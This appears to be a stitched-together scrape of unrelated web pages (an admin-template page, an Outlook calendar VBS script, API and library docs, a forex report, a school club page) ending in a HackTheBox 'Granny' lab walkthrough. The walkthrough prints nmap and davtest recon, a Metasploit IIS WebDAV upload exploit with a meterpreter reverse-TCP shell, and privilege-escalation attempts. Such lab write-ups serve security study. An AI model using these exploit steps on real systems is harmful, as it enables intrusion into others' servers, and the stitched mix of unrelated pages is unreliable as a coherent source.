Lorem ipsum
Sunset Str 620
Melbourne
Australia, 21-842
--- title: Customer's Info permalink: /admin-template/consumer-info/ layout: admin-template/layouts-single-side-nav breadcrumb: General ---
Particulars
| Birthdate | November 20, 1984 |
| Registration Since | 15/10/2014 - 12:25 |
| Last Visit | 06/11/2014 - 09:41 |
Stats
Activities
| Order No. | Customer | Product | Value | Status | Submitted |
| 1 | Lorem ipsum | Product | $65.00 | Canceled | 16 October 2018 |
| 2 | Lorem ipsum | Product | $65.00 | Delivered | 16 October 2018 |
| 3 | Lorem ipsum | Product | $65.00 | Shipping | 16 October 2018 |
| 4 | Lorem ipsum | Product | $65.00 | Delayed | 16 October 2018 |
| Product ID | Product Name | Price | Stocks | Status |
| 1 | Lorem ipsum | $65.00 | 1000 | Available |
| 2 | Lorem ipsum | $65.00 | 1000 | Available |
Billing Address
Shipping Address


Script Adding Exchange Resource Accounts to Your Outlook
I work for a large public University and we have many Resource Accounts. We needed a way to move from Public Folders but we wanted it to be seemless as possible. To do this, I created this VBS script that allows anyone to add Resource Accounts to their Outlook 2013/2010 calendar as a shared calendar. The user in question will have to run this script while Outlook is open and it will pull the Resource Account (add the Resource Account name in the RESOURCEACCOUNTNAME variable below) from the GAL and add it to the users calendar. I hope this helps anyone interested in doing the same.
[code ]
‘************************************************************************** ’ Script Name: ADDCALENDAR.vbs ’ Version: 1.0 ’ Author: Josh Rickard ‘Last Updated: 4.Nov.2013 ’ Purpose: This program is used to add Room Resource Calendars to ’ someones Microsoft Office 2013 Shared Calendars group. ’ Outlook 2013 has to be open for this script to continue. ’ This script was originally created for the Trulaske ’ University of REDACTED Technology Services Department. ’ Legal: Script provided "AS IS" without warranties or guarantees ’ of any kind. USE AT YOUR OWN RISK. Public domain. ‘************************************************************************** Dim objApp Dim objNS Dim objFolder Dim strName(3) Dim objDummy Dim objRecip Dim calendar strName(0) = "RESOURCEACCOUNTNAME" strName(1) = "RESOURCEACCOUNTNAME" strName(2) = "RESOURCEACCOUNTNAME" strName(3) = "RESOURCEACCOUNTNAME"
Const olMailItem = 0 Const olFolderCalendar = 9
’ This section checks to see if Outlook 2013 is open. If it is not ’ It will return "Please Open Outlook and run this program again"
‘Change "Outlook.Application.15" to "Outlook.Application.14" for Outlook 2010 On Error Resume Next Dim Outlook: Set Outlook = GetObject(, "Outlook.Application.15")
If Err.Number = 0 Then MsgBox "This program will add Room Calendars to your mailbox." Else MsgBox "Please Open Outlook and run this program again." Err.Clear End If
’ For Each Next Loop while adds each calendar from strName(array) to the users Shared Calendars
For Each calendar In strName
Set objApp = CreateObject("Outlook.Application.15") Set objNS = objApp.GetNamespace("MAPI") Set objFolder = Nothing
Set objDummy = objApp.CreateItem(olMailItem) Set objRecip = objDummy.Recipients.Add(calendar) objRecip.Resolve If objRecip.Resolved = True Then On Error Resume Next Set objFolder = objNS.GetSharedDefaultFolder(objRecip, olFolderCalendar) On Error GoTo 0 Else MsgBox "Could not find ", , _ "User not found" End If
Next
Set GetOtherUserCalendar = objFolder Set objApp = Nothing Set objNS = Nothing Set objFolder = Nothing
[/code ]


- I can get the image URLs, alt text and page urls for a set of images relating to a given search string.
- I can paginate through the responses by adding a ?offset=2 parameter to the URL.
- I can get a list of the most recently submitted search strings.
https://young-wildwood-8845.herokuapp.com/search/funky monkeys
https://young-wildwood-8845.herokuapp.com/search/funky monkeys?offset=4
https://young-wildwood-8845.herokuapp.com/recent


class KilledFlowException : CordaRuntimeException
An exception that is thrown when a flow has been killed.
This exception can be returned and thrown to RPC clients waiting for the result of a flow's future.
It can also be used in conjunction with FlowLogic.isKilled to escape long-running computation loops when a flow has been killed.
<init> |
KilledFlowException(id: FlowId)
An exception that is thrown when a flow has been killed. KilledFlowException(id: FlowId, message: String) |
id |
val id: FlowId |


I'm {{ .Site.Params.author }}, a student at the University of Texas, majoring in Biology with a minor in Business.
I enjoy connecting with others and growing my knowledge of the sciences. In my free time, I love spending time outside with my friends. During the summer, I am a backpacking guide in the rocky mountains.
Have a look at some of my past projects.
For more check out my academic & professional resume.
Contact me by email.
{{ partial "social.html" . }}


USD/CAD dips and rebounds, back near 1.3300 mark post-Canadian GDP
by Haresh Menghani- A combination of factors helped USD/CAD to regain some traction on Friday.
- Canadian GDP expanded 0.1% MoM and 1.3% YoY, down from 3.7% YoY prior.
- A modest pickup in the USD demand, weaker oil prices remained supportive.
The USD/CAD pair drifted back closer to the lower end of its daily trading range post-Canadian GDP, albeit quickly recovered thereafter.
According to the latest data released this Friday, the Canadian economy recorded a modest 0.1% MoM growth in October. Meanwhile, the annualized quarterly growth rate came in slightly better-than-expected, at 1.3% vs. 1.2% expected, and turned out to be the only factor exerting some pressure.
A combination of factors remained supportive
Despite slightly better-than-expected reading, the quarterly rate marked a significant deceleration from 3.7% growth recorded in the previous quarter. This coupled with a mildly softer tone surrounding crude oil prices kept a lid on any strong rally for the commodity-linked currency – loonie.
Adding to this, a goodish pickup in the US dollar demand, though lacked any obvious fundamental catalyst and seemed rather unaffected by a subdued action around the US Treasury bond yields, further collaborated towards limiting any meaningful pullback for the major.
Looking at the broader picture, the pair remained confined well within a broader trading range held over the past one week or so and has been pivoting around the very important 200-day SMA. Hence, it will be prudent to wait for a sustained break through the recent range before positioning for the next leg of a directional move.
Technical levels to watch
USD/CAD
| Overview | |
|---|---|
| Today last price | 1.3304 |
| Today Daily Change | 0.0022 |
| Today Daily Change % | 0.17 |
| Today daily open | 1.3282 |
| Trends | |
|---|---|
| Daily SMA20 | 1.3237 |
| Daily SMA50 | 1.3218 |
| Daily SMA100 | 1.3218 |
| Daily SMA200 | 1.3278 |
| Levels | |
|---|---|
| Previous Daily High | 1.33 |
| Previous Daily Low | 1.3234 |
| Previous Weekly High | 1.3328 |
| Previous Weekly Low | 1.3156 |
| Previous Monthly High | 1.3349 |
| Previous Monthly Low | 1.3042 |
| Daily Fibonacci 38.2% | 1.3259 |
| Daily Fibonacci 61.8% | 1.3275 |
| Daily Pivot Point S1 | 1.3243 |
| Daily Pivot Point S2 | 1.3205 |
| Daily Pivot Point S3 | 1.3176 |
| Daily Pivot Point R1 | 1.331 |
| Daily Pivot Point R2 | 1.3339 |
| Daily Pivot Point R3 | 1.3377 |


Competition is a fundamental part of TSA that provides students the opportunity to compete all the way up to the national level. While TSA may be STEM-focused, it goes beyond just this realm to allow students to gain skills in speaking, teamwork, and organization, while also pursuing creative interests.
From Software Development to Children's Storybook, members engage in events of all kinds. Each event is unique, enabling students to participate in a diverse environment. While each event has a rubric, students have the freedom to develop their work in a way so that the sky is limit. A full list of all high school TSA events and their rubrics can be found here.
In this contest, teams of six students take a written exam of parliamentary procedure and preform a business meeting using Robert's Rules of Order. It is TSA's most popular event. BETA TSA has had a team advance to state and nationals consistently for the past 8 years.
This event was recently introduced but has quickly become a popular event for TSA members. This competition requires students, typically in teams of two, to create a storybook with a given theme. BETA TSA has had state and national competitors in this event since it was introduced three years ago.
Some events in TSA are worked on before the conference, but some are on-site. On-Demand Video puts students' creativity to the test by giving them 24 hours to plan, film, and edit an original video with a prompt given at competition. BETA TSA has had state competitors in this competition for the past 5 years.
Similar to On-Demand Video in that students are tasked with planning, filming, and editing an original video about a given prompt, Digital Video Production (DVP) differs in that students can work on the video before competition. BETA has had competitors in DVP for the past 6 years, last year's group even advancing to nationals.
This is another of TSA's most popular contests. Competitors are tasked with a written and oral examination of technological facts and trivia to determine which team of students is the tech bowl champion. BETA TSA has had competitiors in Tech Bowl for the past 6 years, and last year's team was the first in BETA TSA history to advance to nationals.
BETA offers a variety of programming classes, and after taking our Web Technologies and Web Design classes, students very often want to try their hand at this competition. Teams build websites that showcase their chapter and the design brief for that year. BETA TSA has competed in this event for the past 7 years and has placed at nationals for this event as well.
On March 3-4, BETA TSA competed at the Rio Grande Valley Regional Competition at SciTech. In the end, BETA TSA walked away with 10 first places, among other awards. Click here to check out how we did at Regionals.


A super easy way to embed a fancy text/code editor onto any webpage.
Simple.

That's it! To make it bigger/smaller, use CSS to resize. The editor will take up 100% height/width of the iframe.
For example:

Language modes - Embeditor defaults to plain text, but also supports HTML, CSS, and JS. More on the way. To activate, simply append ?mode=javascript, ?mode=html, or ?mode=css to the URL.
For example...

And now you get all the benefits of the editor knowing it is dealing with JavaScript, so you get syntax-highlighting, auto-formatting, etc...
"But this is in an iFrame, which restricts me from accessing the editor. So what good is a text editor if you can't either set the content or retrieve it?" Oh, but you can. Thanks postMessage.

Eventually Embeditor will support more of the Ace editor API. Getting, setting, and modes are the most important, so that's what I started with.
This is an open-source project. Please feel free to fork it and submit pull-requests.
Hacked together one lazy Sunday by @derek
Special thanks to @fjakobs for the awesomely awesome Ace editor, which Embeditor uses.


HackTheBox - Granny
Reconnaissance
export ip=<IP_ADDRESS>
Starting with a Nmap TCP scan to discover used ports and services behind, with our usual options:
-sC
runs defaults Nmap scripts-sV
tries to identify the software versions-oA
will output the results in files prefixed by nmap_tcp and using the formats xml, nmap and gnmap-p-
will scan all ports and not the 1000 usual ones
$ sudo nmap -O -sV -sC -oA nmap_tcp -p- $ip
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-06 15:14 CET
Stats: 0:01:32 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 23.27% done; ETC: 15:21 (0:05:00 remaining)
Nmap scan report for <IP_ADDRESS>
Host is up (0.13s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Server Type: Microsoft-IIS/6.0
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
|_ Server Date: Fri, 06 Nov 2020 14:24:12 GMT
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|media device
Running (JUST GUESSING): Microsoft Windows 2003|2000|XP|PocketPC/CE (93%), BT embedded (85%)
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microsoft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::sp1 cpe:/o:microsoft:windows_xp::sp2 cpe:/o:microsoft:windows_ce:5.0.1400 cpe:/h:btvision:btvision%2b_box
Aggressive OS guesses: Microsoft Windows Server 2003 SP1 or SP2 (93%), Microsoft Windows Server 2003 SP2 (93%), Microsoft Windows Server 2003 SP1 (92%), Microsoft Windows 2003 SP2 (91%), Microsoft Windows 2000 SP3/SP4 or Windows XP SP1/SP2 (90%), Microsoft Windows 2000 SP4 (90%), Microsoft Windows XP SP2 or SP3 (90%), Microsoft Windows XP SP3 (90%), Microsoft Windows Server 2003 (88%), Microsoft Windows 2000 Server SP4 (88%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 286.70 seconds
UDP scans (with the -sU
flag) in the background:
$ sudo nmap -sU -oA nmap_udp_light $ip
Nmap scan report for <IP_ADDRESS>
Host is up (0.039s latency).
All 1000 scanned ports on <IP_ADDRESS> are open|filtered
Nmap done: 1 IP address (1 host up) scanned in 5.55 seconds
$ sudo nmap -sU -oA nmap_udp -p- $ip
[ that scan didn't finished before I rooted the machine... ]
So, no services on UDP, and a webserver with WebDAV on port 80 for TCP.
Website - port 80
Site
Visiting http://<IP_ADDRESS>, we land on a “Under Construction” page:
I didn’t run a gobuster scan on this website, I went straight for the WebDAV.
WebDAV
Nmap
From the nmap scan results, we know there’s a webDAV hosted and that potentially dangerous methods like PUT
, MOVE
are available.
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Server Type: Microsoft-IIS/6.0
| WebDAV type: Unknown
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Davtest
To do some recon on the webdav side, davtest can test which types of files can be uploaded/executed:
$ davtest -url http://<IP_ADDRESS>/
********************************************************
Testing DAV connection
OPEN SUCCEED: http://<IP_ADDRESS>
********************************************************
NOTE Random string for this session: cWtIM05el597
********************************************************
Creating directory
MKCOL SUCCEED: Created http://<IP_ADDRESS>/DavTestDir_cWtIM05el597
********************************************************
Sending test files
PUT asp FAIL
PUT txt SUCCEED: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.txt
PUT aspx FAIL
PUT shtml FAIL
PUT php SUCCEED: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.php
PUT jsp SUCCEED: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.jsp
PUT pl SUCCEED: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.pl
PUT cfm SUCCEED: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.cfm
PUT cgi FAIL
PUT jhtml SUCCEED: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.jhtml
PUT html SUCCEED: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.html
********************************************************
Checking for test file execution
EXEC txt SUCCEED: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.txt
EXEC php FAIL
EXEC jsp FAIL
EXEC pl FAIL
EXEC cfm FAIL
EXEC jhtml FAIL
EXEC html SUCCEED: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.html
********************************************************
davtest.pl Summary:
Created: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597
PUT File: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.txt
PUT File: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.php
PUT File: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.jsp
PUT File: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.pl
PUT File: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.cfm
PUT File: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.jhtml
PUT File: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.html
Executes: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.txt
Executes: http://<IP_ADDRESS>/DavTestDir_cWtIM05el597/davtest_cWtIM05el597.html
So, we can PUT
some files (.txt
, .php
, .jsp
, …) as long as they are not .asp
or .aspx
. Which is a problem, since it’s a IIS server and it uses exactly those 2 forbidden extensions. The restriction on asp(x)
files could be a problem if we want to upload a webshell, but we could upload it as txt and rename it maybe?
Shell as network Service
Alright, let’s fire up metasploit and see if there’s any exploit for webdav and IIS:
Modules number 17 “Microsoft IIS WebDAV Write Access Local Privilege Escalation” sounds very promising!
msf5 > use exploit/windows/iis/iis_webdav_upload_asp
msf5 exploit(windows/iis/iis_webdav_upload_asp) > setg RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(windows/iis/iis_webdav_upload_asp) > setg LHOST tun0
LHOST => tun0
show options
Module options (exploit/windows/iis/iis_webdav_upload_asp):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword no The HTTP password to specify for authentication
HttpUsername no The HTTP username to specify for authentication
METHOD move yes Move or copy the file on the remote system from .txt -> .asp (Accepted: move, copy)
PATH /metasploit%RAND%.asp yes The path to attempt to upload
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS <IP_ADDRESS> yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST tun0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/iis/iis_webdav_upload_asp) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] Checking /metasploit200517243.asp
[*] Uploading 612507 bytes to /metasploit200517243.txt...
[*] Moving /metasploit200517243.txt to /metasploit200517243.asp...
[*] Executing /metasploit200517243.asp...
[*] Deleting /metasploit200517243.asp (this doesn't always work)...
[*] Sending stage (176195 bytes) to <IP_ADDRESS>
[!] Deletion failed on /metasploit200517243.asp [403 Forbidden]
[*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:1032) at 2020-11-06 18:32:01 +0100
Bam, good news, we have a shell as network service:
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 2664 created.
Channel 2 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service
User.txt
Buh, we got a shell, but no user.txt for us:
C:\Documents and Settings>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE
Directory of C:\Documents and Settings
04/12/2017 09:19 PM <DIR> .
04/12/2017 09:19 PM <DIR> ..
04/12/2017 08:48 PM <DIR> Administrator
04/12/2017 04:03 PM <DIR> All Users
04/12/2017 09:19 PM <DIR> Lakis
0 File(s) 0 bytes
5 Dir(s) 18,123,341,824 bytes free
C:\Documents and Settings>cd Lakis
cd Lakis
Access is denied.
I still have no idea what that account is for…
Privesc
systeminfo
Let’s grab the systeminfo output and dump that into a textfile:
c:\windows\system32\inetsrv>systeminfo
systeminfo
Host Name: GRANNY
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Uniprocessor Free
Registered Owner: HTB
Registered Organization: HTB
Product ID: 69712-296-0024942-44782
Original Install Date: 4/12/2017, 5:07:40 PM
System Up Time: 0 Days, 3 Hours, 21 Minutes, 20 Seconds
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
[01]: x86 Family 23 Model 1 Stepping 2 AuthenticAMD ~1998 Mhz
BIOS Version: INTEL - 6040000
Windows Directory: C:\WINDOWS
System Directory: C:\WINDOWS\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory: 1,023 MB
Available Physical Memory: 774 MB
Page File: Max Size: 2,470 MB
Page File: Available: 2,305 MB
Page File: In Use: 165 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): 1 Hotfix(s) Installed.
[01]: Q147222
Network Card(s): N/A
Let’s put our session in background for the time being:
C:\Documents and Settings>^C
Terminate channel 2? [y/N] y
meterpreter > background
[*] Backgrounding session 1...
From my host, I ran Windows Exploit Suggester on the systeminfo dump:
$ python2 /mnt/hgfs/toolz/windows/windows-exploit-suggester.py --database /mnt/hgfs/toolz/windows/2020-11-04-mssb.xls --systeminfo loot/systeminfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 1 hotfix(es) against the 356 potential bulletins(s) with a database of 137 known exploits
[*] there are now 356 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2003 SP2 32-bit'
[*]
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*] https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*]
[E] MS14-070: Vulnerability in TCP/IP Could Allow Elevation of Privilege (2989935) - Important
[*] http://www.exploit-db.com/exploits/35936/ -- Microsoft Windows Server 2003 SP2 - Privilege Escalation, PoC
[*]
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*]
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*] https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*] http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*] http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*] http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-062: Vulnerability in Message Queuing Service Could Allow Elevation of Privilege (2993254) - Important
[*] http://www.exploit-db.com/exploits/34112/ -- Microsoft Windows XP SP3 MQAC.sys - Arbitrary Write Privilege Escalation, PoC
[*] http://www.exploit-db.com/exploits/34982/ -- Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation
[*]
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*] http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*]
[E] MS14-040: Vulnerability in Ancillary Function Driver (AFD) Could Allow Elevation of Privilege (2975684) - Important
[*] https://www.exploit-db.com/exploits/39525/ -- Microsoft Windows 7 x64 - afd.sys Privilege Escalation (MS14-040), PoC
[*] https://www.exploit-db.com/exploits/39446/ -- Microsoft Windows - afd.sys Dangling Pointer Privilege Escalation (MS14-040), PoC
[*]
[E] MS14-035: Cumulative Security Update for Internet Explorer (2969262) - Critical
[E] MS14-029: Security Update for Internet Explorer (2962482) - Critical
[*] http://www.exploit-db.com/exploits/34458/
[*]
[E] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important
[*] http://www.exploit-db.com/exploits/35280/, -- .NET Remoting Services Remote Command Execution, PoC
[*]
[M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical
[M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important
[E] MS14-002: Vulnerability in Windows Kernel Could Allow Elevation of Privilege (2914368) - Important
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical
[M] MS13-071: Vulnerability in Windows Theme File Could Allow Remote Code Execution (2864063) - Important
[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical
[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical
[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical
[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical
[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[M] MS11-080: Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (2592799) - Important
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M] MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[M] MS10-015: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (977165) - Important
[M] MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M] MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[M] MS09-065: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (969947) - Critical
[M] MS09-053: Vulnerabilities in FTP Service for Internet Information Services Could Allow Remote Code Execution (975254) - Important
[M] MS09-020: Vulnerabilities in Internet Information Services (IIS) Could Allow Elevation of Privilege (970483) - Important
[M] MS09-004: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420) - Important
[M] MS09-002: Cumulative Security Update for Internet Explorer (961260) (961260) - Critical
[M] MS09-001: Vulnerabilities in SMB Could Allow Remote Code Execution (958687) - Critical
[M] MS08-078: Security Update for Internet Explorer (960714) - Critical
[*] done
From the results, I picked vulnerabilities that had metasploit modules and tried them… I prioritized vulnerabilities targeting Windows itself while still picking a bit randomly in the list :‘D
MS15-051 - Fail
msf5 exploit(windows/iis/iis_webdav_upload_asp) > search MS15-051
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/ms15_051_client_copy_image 2015-05-12 normal Yes Windows ClientCopyImage Win32k Exploit
msf5 exploit(windows/iis/iis_webdav_upload_asp) > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ms15_051_client_copy_image) > show options
Module options (exploit/windows/local/ms15_051_client_copy_image):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST <IP_ADDRESS> yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf5 exploit(windows/local/ms15_051_client_copy_image) > setg LHOST tun0
LHOST => tun0
msf5 exploit(windows/local/ms15_051_client_copy_image) > show options
Module options (exploit/windows/local/ms15_051_client_copy_image):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST <IP_ADDRESS> yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x86
msf5 exploit(windows/local/ms15_051_client_copy_image) > set LHOST tun0
LHOST => tun0
msf5 exploit(windows/local/ms15_051_client_copy_image) > set LPORT 5555
LPORT => 5555
msf5 exploit(windows/local/ms15_051_client_copy_image) > run
[-] Exploit failed: One or more options failed to validate: SESSION.
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/ms15_051_client_copy_image) > set SESSION 1
SESSION => 1
msf5 exploit(windows/local/ms15_051_client_copy_image) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:5555
[-] Exploit failed: Rex::Post::Meterpreter::RequestError stdapi_sys_config_getsid: Operation failed: Access is denied.
[*] Exploit completed, but no session was created.
MS16-016 - Fail
This one was not in the results of windows exploit suggester, rather in the results of metasploit when searching for webdav
:
24 exploit/windows/local/ms16_016_webdav 2016-02-09 excellent Yes MS16-016 mrxdav.sys WebDav Local Privilege Escalation
It looked like a good fit, so I tried it:
msf5 post(multi/recon/local_exploit_suggester) > use exploit/windows/local/ms16_016_webdav
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/local/ms16_016_webdav) > show options
Module options (exploit/windows/local/ms16_016_webdav):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST <IP_ADDRESS> yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 SP1
